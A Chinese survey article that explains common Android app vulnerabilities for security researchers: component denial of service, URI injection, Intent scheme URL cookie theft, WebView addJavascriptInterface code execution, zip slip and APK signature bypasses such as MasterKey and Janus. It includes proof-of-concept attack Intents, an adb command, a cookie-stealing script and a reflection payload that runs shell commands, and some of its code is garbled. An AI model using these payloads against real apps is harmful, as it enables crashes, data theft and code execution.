Android应用中的常见漏洞总结

 

导言

近些年来,基于Android平台的应用开发呈现出快速增长的趋势。但是由于Android开发人员缺乏安全意识,在程序设计上存在各种缺陷,同时国内Android应用市场缺乏有效的统一管理机制,应用安全质量难以保证,应用安全漏洞数量逐年增加。

因此,Android应用漏洞挖掘引起了越来越多研究者的关注。本文基于此,搜集了前人挖掘Android应用漏洞的经验,归纳出Android常见应用漏洞的分类及原理,意在向安全研究者介绍Android应用上的缺陷。

 

四大组件

四大组件的安全问题很大一部分是组件设置成导出状态(android:exported=true)引起的。导出状态就意味着当前组件可以被另一个Application的组件启动,容易造成异常,导致程序Crash。

Android应用本地拒绝服务漏洞

描述:

Android系统提供了Activity、Service 和 Broadcast Receiver 等组件,并提供了Intent机制来协助应用间的交互与通讯,Intent负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述,Android系统则根据此Intent的描述,负责找到对应的组件,将Intent传递给调用的组件,并完成组件的调用。Android应用本地拒绝服务漏洞源于程序没有对Intent.getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用Crash的目的,简单的说就是攻击者通过Intent发送空数据、异常或畸形数据给受害者应用,导致其崩溃。

本地拒绝服务漏洞不仅可以导致安全防护等应用的防护功能被绕过或失效(如杀毒应用、安全卫士、防盗锁屏等),而且也可以被竞争方利用攻击,使得自己的应用崩溃,造成不同程度的经济利益损失。

背景知识:

Android系统中的Intent机制负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述,系统则根据此Intent的描述,负责找到对应的组件,将Intent传递给调用的组件,并完成组件的调用。

产生原理:

源于程序处理Intent.getxxxExtra()获取的数据时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据,异常来使得程序Crash。

攻击代码示例:

01 NullPonterException异常

源于程序没有对getAction()等获取到的数据进行空指针判断,导致空指针异常,从而使得应用崩溃。

//漏洞应用代码片段:
Intent i = new Intent();
if (i.getAction().equals("TestForNullPointerException")) {
Log.d("TAG", "Test for Android Refuse Service Bug");
}
//攻击应用代码片段:
adb shell am start -n com.alibaba.jaq.pocforrefuseservice/.MainActivity

02 ClassCastException异常

源于程序没有对getSerializableExtra()等获取到的数据进行类型判断而进行强制类型转换,导致类型转换异常而导致应用崩溃。

//漏洞应用代码片段:
Intent i = getIntent();
String test = (String)i.getSerializableExtra("serializable_key");


//攻击应用代码片段:
Intent i = new Intent();
i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
i.putExtra("serializable_key", BigInteger.valueOf(1));
startActivity(i)

03 IndexoutofBoundException异常

源于程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,导致数组访问越界而导致应用崩溃。

//漏洞应用代码片段:
Intent intent = getIntent();
ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id");
if (intArray != null) {
for (int i = 0; i < USER_NUM; i++) {
intArray.get(i);
}
}
//攻击应用代码片段
Intent intent = new Intent();
intent.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
ArrayList<Integer> user_id = new ArrayList<Integer>();
intent.putExtra("user_id", user_id);
startActivity(intent);

04ClassNotFoundException异常

源于程序无法找到从getSerializableExtra()获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。

//漏洞应用代码片段:
Intent i = getIntent();
i.getSerializableExtra("serializable_key")
//攻击应用代码片段:
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent i = new Intent();
i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
i.putExtra("serializable_key", new SelfSerializableData());
startActivity(i);
}
static class SelfSerializableData implements Serializable {
private static final long serialVersionUID = 42L;
public SelfSerializableData() {
super();
}
}

ContentProvider uri注入

相关的漏洞:CVE-2019-14339

示例代码:

缺陷代码:
protected void onCreate(Bundle savedInstanceState){
su(per.onCreate(savedIn);
setContentView(R.laylout.activity_main);//加载布局文件
EditText et = (EditText) this.findViewById(R.id.iptext);//)找到对应的EditText控件
String msgId = et.getText().toString().trim();//获得edittext输入的值
Uri dataUri = Uri.parse(WeatherContentProvider.CONTENT_URI + "/" + msgId);//Uri.parse()方法返回的是一个 URI 类型,通过这个URI可以访问一个网络或者是本地的资源
Cursor cursor = getContentResolver.query(dataUri,null,null,null,null);
/* getContentResolver() 方法会返回一个 ContentResolver 对象,这个对象是内容解析器,Android中程序间数据的共享是通过 Provider/Resolver 进行的。提供内容的就叫Provider,Resovler 提供接口对提供的内容进行解读。返回的对象调用query() 方法来按照用户输入的内容进行查询。
*/
}

上述代码片段中,程序中未校验用户输入的内容,且程序动态构建查询URI拼接字符串。攻击者可通过向msgId代码提供值deleted调用content://my.authority/messages/deleted来改变查询的意义。

Intent Scheme Url攻击

描述:

Intent scheme url是一种用于在web页面中启动终端App activity的特殊URL,Intent scheme url的引入虽然带来了一定的便捷性,但从另外一方面看,给恶意攻击页面通过Intent-based攻击终端上已安装应用提供了便利。

背景知识:

一个Intent scheme url的使用示例
<script>
location.href = "intent:mydata1#Intent;action=myaction1;type=text/plaint;end"
</script>

如果浏览器支持Intent scheme url,在加载了web页面后,将根据url生成一个Intent,并尝试通过Intent打来指定的activity。具体步骤如下:

根据url生成对应的Intent object,

Intent intent = Intent.parseUri(url);

HOST/URI-path // Optional host
#Intent;
package=[string];
action=[string];
category=[string];
component=[string];
scheme=[string];
end;

后Intent过滤,为了安全起见,很多浏览器对step1中的Intent object进行过滤,以抵御Intent-based攻击。

最后组件调用:

浏览器中一般使用Context#startActivityIfNeeded()或者Context#startActivity()方法实现。

攻击原理:

1.浏览器攻击

因为Intent是浏览器依据url生成并以浏览器自己的身份发送的,因此攻击者恶意页面中的Intent scheme url不仅可以调起导出组件,还可以调起私有组件。

2.终端上安装的任意APP

Intent-based攻击一般是通过终端上安装的恶意App来实现的,但通过浏览器加载包含特定Intent scheme url的恶意页面,可以实现对终端上安装的任意App远程Intent-based攻击的效果。在2013年东京的Pwn2Own上比赛上,次攻击方式被应用于攻陷三星Samsung Galaxy S4。

攻击示例:Opera mobile for Android cookie theft

opera浏览器中缺少Intent过滤步骤,一次可以通过恶意页面中的Intent scheme url调起浏览器的任意activity,包括私有的activity,通过如下攻击代码可以获取到Opera浏览器的cookie:

<script>
location.href = "intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=
com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end";

“com.admarvel.android.ads.AdMarvelActivity”是Opera浏览器的私有组件,”url=file:///data/data/com.opera.browser/app_opera/cookies”是Opera浏览器cookie文件的存放位置。

 

Webview漏洞

描述:

Android API level 16以及之前的版本存在远程代码执行的漏洞,这个漏洞源于程序没有正确的限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,简单来说就是通过addJavascriptInterface给WebView加入一个 JavaScript桥接接口,App使用webview加载网页时,JavaScript 通过调用这个接口可以直接操作本地App的JAVA接口。

远程代码执行漏洞

01CVE-2012-6636

产生原因: 

Android API level 17以及之前的系统版本,由于程序没有正确限制使用addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法。通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接与本地的Java接口进行交互。就有可能出现手机被安装木马程序、发送扣费短信、通信录和短信被窃取、获取本地设备的SD卡中的文件等信息,从而造成信息泄露,甚至手机被远程控制等安全问题。

webview.addJavascriptInterface(new MyJavaScriptInterface(),”myandroid”);
arg1:android的本地对象
arg2: js的对象

当js拿到android对象后,通过java反射机制,就可以调用这个android对象中所有的方法,包括(java.lang.runtime类),任意代码执行。

function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
//从执行命令后返回的输入流中得到字符串,
从而得到文件名的信息,有很严重暴露隐私的危险。
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getInputStream2String(p.getInputStream()));

02CVE-2014-1939

java/android/webkit/BrowserFrame.java使用addJavascriptInterface API并创建了 SearchBoxImpl类的对象。攻击者可通过访问searchBoxJavaBridge_ 接口利用该漏洞执行任意 Java 代码。

Google Android <= 4.3.1 受到此漏洞的影响。

03CVE-2014-7224

所有由系统提供的WebView都会被加入两个JS objects,分别为是accessibility 和accessibilityTraversal。恶意攻击者就可以使用accessibility 和accessibilityTraversal这两个 Java Bridge来执行远程攻击代码。

Google Android < 4.4 受到此漏洞的影响。

密码明文存储漏洞

webview.setSavePassword(true);开启后,在用户输入密码时,会弹出提示框:询问用户是否保存密码;如果选择”是”,密码会被明文保到 /data/data/com.package.name/databases/webview.db 中,这样就有被盗取密码的危险

域控制不严格漏洞

描述:

当其他的应用启动Activity时,Intent中的data会被当作url加载(假定传进file:///data/local/tmp/attack.html),通过其他APP使用显式ComponentName或者其他类似方式就可以很轻松的启动该WebViewActivity,我们知道因为Android中的 sandbox,Android中的各应用是相互隔离的,在一般情况下A应用是不能访问B应用的文件的,但不正确的使用WebView可能会打破这种隔离,从而带来应用数据泄露的威胁,即A应用可以通过B应用导出的Activity让B应用加载一个恶意的file协议的url,从而可以获取 B 应用的内部私有文件。

public class WebViewActivity extends Activity {
private WebView webView;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview);
webView = (WebView) findViewById(R.id.webView);


//webView.getSettings().setAllowFileAccess(false); (1)
//webView.getSettings().setAllowFileAccessFromFileURLs(true); (2)
//webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (3)

Intent intent = getIntent();
String url = intent.getData().toString();
webView.loadUrl(url);
}
}

A应用可以通过B应用导出一个Activity( android:exported=”true”),让B应用加载出一个恶意的file协议的url,从而可以获取B应用的内部私有文件,从而带来数据泄露威胁。

 

数据存储

Man in the disk攻击

描述:

当App使用外部存储不多加小心时,才使得Man-in-the-Disk攻击成为可能。外部存储是一种在所有App之间共享的资源,并且不享受Android内置的沙盒保护。如果App本身在使用外部资源时未能使用安全预防措施,App就容易遭受恶意数据操纵的攻击。

背景知识:

在Android操作系统中,有两种存储类型:内部存储,每个App单独使用并由Android沙箱进行隔离;外部存储,一般指SD卡或存储设备中的逻辑分区,由所有App共享使用。实际上,外部存储主要用于在App之间或与PC共享文件。例如,某通讯App为了分享手机相册中的照片,App需要访问外部存储中保存的媒体文件。

产生原理:

App从App提供商的服务器下载。更新或接受数据,这些数据在发送到App本身之前会通过外部存储,攻击者可以在App再次读取之前操纵外部存储中保存的数据来使得提权,使得程序Crash。

全局可读写漏洞

描述:

在创建SharedPreference时,将数据库设置了全局的可读权限,攻击者恶意读取SharedPreference内容,获取敏感信息。在设置SharedPreference属性时如果设置全局可写,攻击者可能会篡改、伪造内容。

...
SharedPreferences readPreferences = getSharedPreferences("read_preferences",
Context.MODE_WORLD_READABLE);
SharedPreferences writePreferences = getSharedPreferences("write_preferences",
Context.MODE_WORLD_WRITEABLE);
SharedPreferences.Editor editor = readPreferences.edit();
editor.putString("name", "Niko");
editor.putString("password", "autoref");
editor.commit();
...

创建SharedPreference时,调用openOrCreateDatabase,并将访问权限设置MODE_WORLD_READABLE或者MODE_WORLD_WRITEABLE,设备被root也可进行读写。

Zip包下载

UnZip解压文件漏洞

描述:

Zip slip漏洞其实也是目录遍历的一种,通过应用程序解压恶意的压缩文件进行攻击。恶意攻击者通过构造一个压缩文件条目中带有../的压缩文件,上传后交给应用程序进行解压。由于程序解压时没有对文件名进行合法性的校验,而是直接将文件名拼接在待解压目录后面,导致可以将文件解压到正常解压缩路径之外并覆盖可执行文件,从而等待系统或用户调用他们实现代码执行(也可能是覆盖配置文件或其他敏感文件)。

背景知识:

在Linux/Unix系统中“../”代表的是向上级目录跳转,有些程序在当前工作目录中处理到诸如用“../../../../../../../../../../../etc/hosts”表示的文件,会跳转出当前工作目录,跳转到到其他目录中。

Java代码在解压ZIP文件时,会使用到ZipEntry类的getName()方法,如果ZIP文件中包含“../”的字符串,该方法返回值里面原样返回,如果没有过滤掉getName()返回值中的“../”字符串,继续解压缩操作,就会在其他目录中创建解压的文件。

产生原理 :

因为ZIP压缩包文件中允许存在”../”的字符串,攻击者可以利用多个“../”在解压时改变ZIP包中某个文件6存放位置,覆盖掉应用原有的文件。如果被覆盖掉的文件是动态链接so、dex或者odex文件,轻则产生本地拒绝服务漏洞,影响应用的可用性,重则可能造成任意代码执行漏洞,危害用户的设备安全和信息安全.。

Android签名类

描述:

Android具有签名机制。正常情况下,开发者发布了一个应用,该应用一定需要开发者使用他的私钥对其进行签名。恶意攻击者如果尝试修改了这个应用中的任何一个文件(包括代码和资源等),那么他就必须对APK进行重新签名,否则修改过的应用是无法安装到任何Android设备上的。但如果恶意攻击者用另一把私钥对APK签了名,并将这个修改过的APK对用户手机里的已有应用升级时,就会出现签名不一致的情况。因此,在正常情况下,Android的签名机制起到了防篡改的作用。但如果恶意攻击者利用漏洞,那么恶意攻击者就可以任意地修改一个APK中的代码(包括系统的内置应用),同时却不需要对APK进行重新签名。换句话说,用这种方式修改过的APK,Android系统会认为它的签名和官方的签名是一致的,但在这个APK运行时,执行的却是恶意攻击者的代码。恶意攻击者利用这个修改过的APK,就可以用来覆盖安装原官方应用(包括系统的内置应用)。

“MasterKey”漏洞

背景知识:

Android签名的Signature Version V1 Android7.0之前的签名方式,使用jar Signature方式对APK进行签名打包,jar Signature来自JDK。APK进行签名时会生成一个META-INF文件夹,里面有三个文件:MANIFEST.MF,CERT.RSA,CERT.SF,是用来记录签名信息的。

MANIFEST.MF:

逐一遍历所有条目,如果是目录就跳过,如果是一个文件,就用SHA1(或者SHA256)消息摘要算法提取出该文件的摘要然后进行BASE64编码后,作为“SHA1-Digest”属性的值写入到MANIFEST.MF文件中的一个块中。该块有一个“Name”属性,其值就是该文件在apk包中的路径。

CERT.SF:

1.计算这个MANIFEST.MF文件的整体SHA1值,再经过BASE64编码后,记录在CERT.SF主属性块(在文件头上)的“SHA1-Digest-Manifest”属性值值下。

2.逐条计算MANIFEST.MF文件中每块的SHA1,并经过BASE64编码后,记录在CERT.SF中的同名块中,属性的名字是“SHA1-Digest”。

CERT.RSA是一个满足PKCS7格式的文件:它会把之前生成的 CERT.SF文件,用私钥计算出签名, 然后将签名以及包含公钥信息的数字证书一同写入CERT.RSA中保存。

漏洞利用:

1.向原始的App APK的前部添加一个攻击的classes.dex文件(A);

2.安卓系统在校验时计算了A文件的hash值,并以”classes.dex”字符串做为key保存;

3.然后安卓计算原始的classes.dex文件(B),并再次以”classes.dex”字符串做为key保存,这次保存会覆盖掉A文件的hash值,导致Android系统认为APK没有被修改,完成安装;

4.APK程序运行时,系统优先以先找到的A文件执行,忽略了B,导致漏洞的产生。

“9695860”漏洞

背景知识:

在每个Zip文件中都有一个Central directory,Central directory中的每一项是一个File header。这个File header的结构对应到Android代码的类就是ZipEntry。File header结构中有一个偏移量指向local file header,local file header后面就紧跟着file data。

local file header signature 4 bytes
version needed to extract 2 bytes
general purpose bit flag 2 bytes
compression method 2 bytes
last mod file time 2 bytes
last mod file date 2 bytes
crc-32 4 bytes
compressed size 4 bytes
uncompressed size 4 bytes
file name length 2 bytes
extra field length 2 bytes
file name (variable size)
extra field (variable size)

//android 进行apk校验
RAFStream rafstrm = new RAFStream(raf, entry.mLocalHeaderRelOffset + 28);
DataInputStream is = new DataInputStream(rafstrm);
int localExtraLenOrWhatever = Short.reverseBytes(is.readShort());
is.close();


// Skip the name and this "extra" data or whatever it is:
rafstrm.skip(entry.nameLength + localExtraLenOrWhatever);
rafstrm.mLength = rafstrm.mOffset + entry.compressedSize;
if (entry.compressionMethod == ZipEntry.DEFLATED) {
int bufSize = Math.max(1024, (int)Math.min(entry.getSize(), 65535L));
return new ZipInflaterInputStream(rafstrm, new Inflater(true), bufSize, entry);
} else {
return rafstrm;
}

漏洞原理:

Java代码在读取“Central directory file header”结构的“Extra field length”字段(java代码视为有符号short,C代码视为无符号short)时,如果大小超过0x7FFF则认为是负数,代码逻辑将负数一律按零处理。

1. 向原有的APK中的classes.dex文件B替换为攻击文件A,并添加一个大小为0xFFFD的extrafield;

2. 将原始dex文件B去除头3个字节写入extrafield;

3. Android系统在校验签名时使用的是Java代码的short,将0xFFFD以16位带符号整形的方式解析得到-3, 并解析出原始的文件B,Android认为程序APK无修改,正常安装;

4. 系统在执行时使用C代码的uint16,将0xFFFD以16位无符号整形方式,得到攻击文件B。

按照正常逻辑,android读取local file header的file name length 和 extra field length,跳转到file data 对classws.dex校验,hack后按照以下模型,java校验读原来的,没什么问题,但c读取classes.dex是读去我们的fake dex。

“9950697”漏洞

Signature Version V1的第3个洞,适用于android4.4以下的版本

漏洞原理:

Android在校验签名时,解析Apk包用的是java代码(ZipFile.java和ZipEntry.java),而在安装apk时,包括解压、dexopt等,用的是c代码(ZipArchive.cpp),这两份代码在解析ZipEntry时的步骤都是先从索引段读取ZipEntry的信息,然后定位到数据段。

数据段中的ZipEntry的Data[]字段是用来存放真正的压缩数据的。Java和c定位到Data[]字段的方法都是根据Data[]字段之前的字段的长度计算偏移:

Data[]的偏移 = ZipEntry的偏移 + 固定header的长度 + extraFieldLength + fileNameLength

Java使用的fileNameLength是从索引段的ZipEntry获得的,而C则是从数据段的ZipEntry获得的,所以就这里造成了不一致性,导致java和c定位到的data[]不一致。因此可以在数据段的ZipEntry中构造一个不一样的fileNameLength,进而让java校验签名时读取的是合法的文件,而c在安装是读取的是恶意的文件,绕过签名验证。

“janus”漏洞(CVE-2017-13156)

背景知识:

Android在4.4引入ART虚拟机,相比较于Dalvik虚拟机仅能运行包装于apk中的dex文件,ART还允许直接运行优化后的dex文件。具体操作是通过读取文件头部的magic字段进行判断,区别执行apk或者dex。

ZIP文件的读取方式是读取文件末尾定位的central directory, 然后通过里面的索引定位到各个zip entry,每个entry解压之后都对应一个文件。ParseZipArchive()函数在进行以上处理时候并没有判断文件头部的magic字段是否为504B0304,即Zip。

漏洞原理:

攻击者可以通过将恶意dex文件置于apk文件的头部(如下图所示)。在系统安装apk文件时,系统安装器解压zip时并没有先判断apk文件的头部magic字段,默认是apk(zip)文件,从而直接从文件尾部进行读取解压,此时签名没有任何变化,因此可欺骗系统,从而进行安装。

攻击关键点是当用户点击运行apk时,系统ART虚拟机会去判断文件头部的magic字段,从而使用不同的策略执行文件,由于该apk文件头部被修改为恶意dex,因此art虚拟机直接执行恶意dex文件。

攻击模型:

参考链接:

https://blog.checkpoint.com/2018/08/12/man-in-the-disk-a-new-attack-surface-for-android-apps/

(完)